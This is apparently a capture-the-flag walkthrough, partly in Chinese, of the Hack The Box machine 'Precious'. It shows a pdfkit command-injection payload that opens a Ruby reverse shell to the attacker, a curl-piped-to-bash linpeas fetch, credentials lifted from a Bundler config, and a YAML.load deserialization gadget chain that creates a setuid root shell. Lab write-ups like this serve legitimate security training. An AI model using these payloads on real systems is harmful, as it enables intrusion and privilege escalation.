Precious

Precious is an Easy Difficulty Linux machine, that focuses on the Ruby language. It hosts a custom Ruby web application, using an outdated library, namely pdfkit, which is vulnerable to CVE-2022-25765, leading to an initial shell on the target machine. After a pivot using plaintext credentials that are found in a Gem repository config file, the box concludes with an insecure deserialization attack on a custom, outdated, Ruby script.

Recon

❯ sudo nmap -sCV 10.10.11.189
Starting Nmap 7.98 ( https://nmap.org ) at 2025-09-22 21:16 +0800
Nmap scan report for 10.10.11.189 (10.10.11.189)
Host is up (0.45s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.78 seconds

最开始的扫描发现 可能存在重定向至http://precious.htb 于是在添加hosts后成功访问该网站 建议在添加完后重新扫描 会有不一样的地方

80/tcp open  http    nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

虽然发现了Phusion Passenger服务 但是没有洞 那就只好走一下业务流程

意思是把url输入进去 把返回的内容转换成PDF 光这么听都觉得可能会有RCE了 在本机上开个python服务 成功获取到PDF

::ffff:10.10.11.189 - - [22/Sep/2025 19:08:35] "GET / HTTP/1.1" 200 -

Shell as ruby

已知网站服务是Phusion Passenger的 而这个中间件肯定不是专门做PDF处理的 肯定还有某个服务 使用exiftool查看元数据

❯ exiftool **.pdf
ExifTool Version Number         : 13.36
File Name                       : **.pdf
Directory                       : .
File Size                       : 21 kB
File Modification Date/Time     : 2025:09:22 19:08:58+08:00
File Access Date/Time           : 2025:09:22 20:56:01+08:00
File Inode Change Date/Time     : 2025:09:22 20:55:58+08:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

可以看到是pdfkit v0.8.6 上网搜到这玩意是ruby写的 找到exp后生成payload

http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.*.*","4444"))'`

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.*.*] from (UNKNOWN) [10.10.11.189] 40158
python3 -c 'import pty;pty.spawn("/bin/bash")'
ruby@precious:/var/www/pdfapp$

是的 我的mac还是连不上反弹shell 不过用kali连也算好习惯了

Shell as henry

ruby用户在意料之中的没有写入权限 但是还是跑了一下linpeas

ruby@precious:/var/www/pdfapp$ curl http://10.10.*.*:8080/linpeas.sh | bash

没有什么结果 不过不管怎么说 可以去ruby的home目录看一下 ls发现没有东西 好在留了个心眼ls -al

ruby@precious:~$ ls
ls
ruby@precious:~$ ls -al
ls -al
total 32
drwxr-xr-x 5 ruby ruby 4096 Sep 22 09:46 .
drwxr-xr-x 4 root root 4096 Oct 26  2022 ..
lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 Sep 22 06:51 .cache
drwx------ 3 ruby ruby 4096 Sep 22 09:46 .gnupg
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

在.bundle文件夹内发现了henry用户密码 应该是用于访问私有镜像的token

ruby@precious:~/.bundle$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

henry@precious:~$ cat user.txt
85836bf0f7023d2a904986f007870223
henry@precious:~$

Shell as root

Unsafe Yml

最开始尝试一下sudo -l

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

发现虽然可以用root运行ruby 但是由于有限定参数的原因 没办法直接sudo ruby -e 'exec "/bin/sh"' 但是可以间接生成shell

henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

可以看到load了可控文件dependencies.yml 毕竟update_dependencies.rb我们没有能力改 关于这个load有个小tip

很明显这里的load并没有很safe 那么利用这个Universal RCE with Ruby YAML.load (versions > 2.7)就可以很好的提权

Shell

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: cp /bin/bash /bin/pwned; chmod 6777 /bin/pwned
         method_id: :resolve

henry@precious:~$ sudo ruby /opt/update_dependencies.rb
...
henry@precious:~$ pwned -p
pwned-5.1# cat /root/root.txt
c7798d69cd94224a406c73ee85c4b10b